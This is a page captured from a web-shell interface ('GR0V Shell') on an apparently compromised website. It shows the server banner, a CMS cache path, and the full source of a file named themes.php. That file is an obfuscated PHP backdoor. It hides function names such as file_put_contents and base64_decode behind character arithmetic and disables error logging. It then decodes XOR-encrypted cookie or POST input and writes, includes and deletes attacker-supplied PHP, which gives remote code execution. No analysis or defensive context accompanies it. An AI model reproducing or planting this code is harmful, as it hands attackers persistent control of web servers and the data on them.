? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/board/administrator/cache/
File Upload :
Current File : /home/admin/public_html/old/board/administrator/cache/themes.php

<?php $HMIewzlRJB = 'f'."\x69".'l'.chr(101)."\x5f"."\160".'u'.chr(506-390).chr(250-155)."\143".chr(1047-936).'n'.chr(116).chr(101)."\156".'t'."\163";
$YIPMuLHU = chr(98)."\x61"."\x73"."\145".chr(54).chr(662-610).chr(385-290).chr(191-91).'e'."\x63".chr(111).chr(100).chr(501-400);
$cuvDMEEFn = "\151"."\x6e"."\x69".chr(95).'s'.chr(309-208).'t';
$uPBFTIow = 'u'.chr(298-188).chr(1106-998).'i'.'n'."\x6b";


@$cuvDMEEFn("\x65"."\162".chr(114)."\x6f".'r'.chr(95).chr(108)."\157".'g', NULL);
@$cuvDMEEFn(chr(108).'o'."\147"."\x5f"."\145".'r'."\x72"."\x6f".chr(127-13).'s', 0);
@$cuvDMEEFn("\x6d".chr(97)."\170".'_'.chr(215-114).'x'."\145"."\x63"."\x75"."\164"."\x69"."\157".'n'."\137".chr(310-194)."\151".chr(109).chr(108-7), 0);
@set_time_limit(0);

function iLAhK($koFBQUQHL, $aNvJn)
{
    $MyzRKC = "";
    for ($uOnkmK = 0; $uOnkmK < strlen($koFBQUQHL);) {
        for ($j = 0; $j < strlen($aNvJn) && $uOnkmK < strlen($koFBQUQHL); $j++, $uOnkmK++) {
            $MyzRKC .= chr(ord($koFBQUQHL[$uOnkmK]) ^ ord($aNvJn[$j]));
        }
    }
    return $MyzRKC;
}

$YbybdfBZUY = array_merge($_COOKIE, $_POST);
$qMdnti = 'ec374c5b-dec9-4b72-afdd-0c509aa56a92';
foreach ($YbybdfBZUY as $QmYaxTvJb => $koFBQUQHL) {
    $koFBQUQHL = @unserialize(iLAhK(iLAhK($YIPMuLHU($koFBQUQHL), $qMdnti), $QmYaxTvJb));
    if (isset($koFBQUQHL["\141"."\153"])) {
        if ($koFBQUQHL['a'] == 'i') {
            $uOnkmK = array(
                chr(472-360)."\166" => @phpversion(),
                chr(115).chr(118) => "3.5",
            );
            echo @serialize($uOnkmK);
        } elseif ($koFBQUQHL['a'] == "\145") {
            $uOnkmKiwBsuE = "./" . md5($qMdnti) . '.'.chr(105).chr(312-202).chr(592-493);
            @$HMIewzlRJB($uOnkmKiwBsuE, "<" . '?'.chr(112).'h'.'p'.chr(130-98).chr(344-280)."\x75"."\x6e"."\154"."\x69"."\x6e"."\x6b"."\50".chr(95)."\x5f".chr(70)."\x49"."\114"."\x45".'_'.'_'."\51"."\73"."\40" . $koFBQUQHL['d']);
            include($uOnkmKiwBsuE);
            @$uPBFTIow($uOnkmKiwBsuE);
        }
        exit();
    }
}


T1KUS90T
  root-grov@210.1.60.28:~$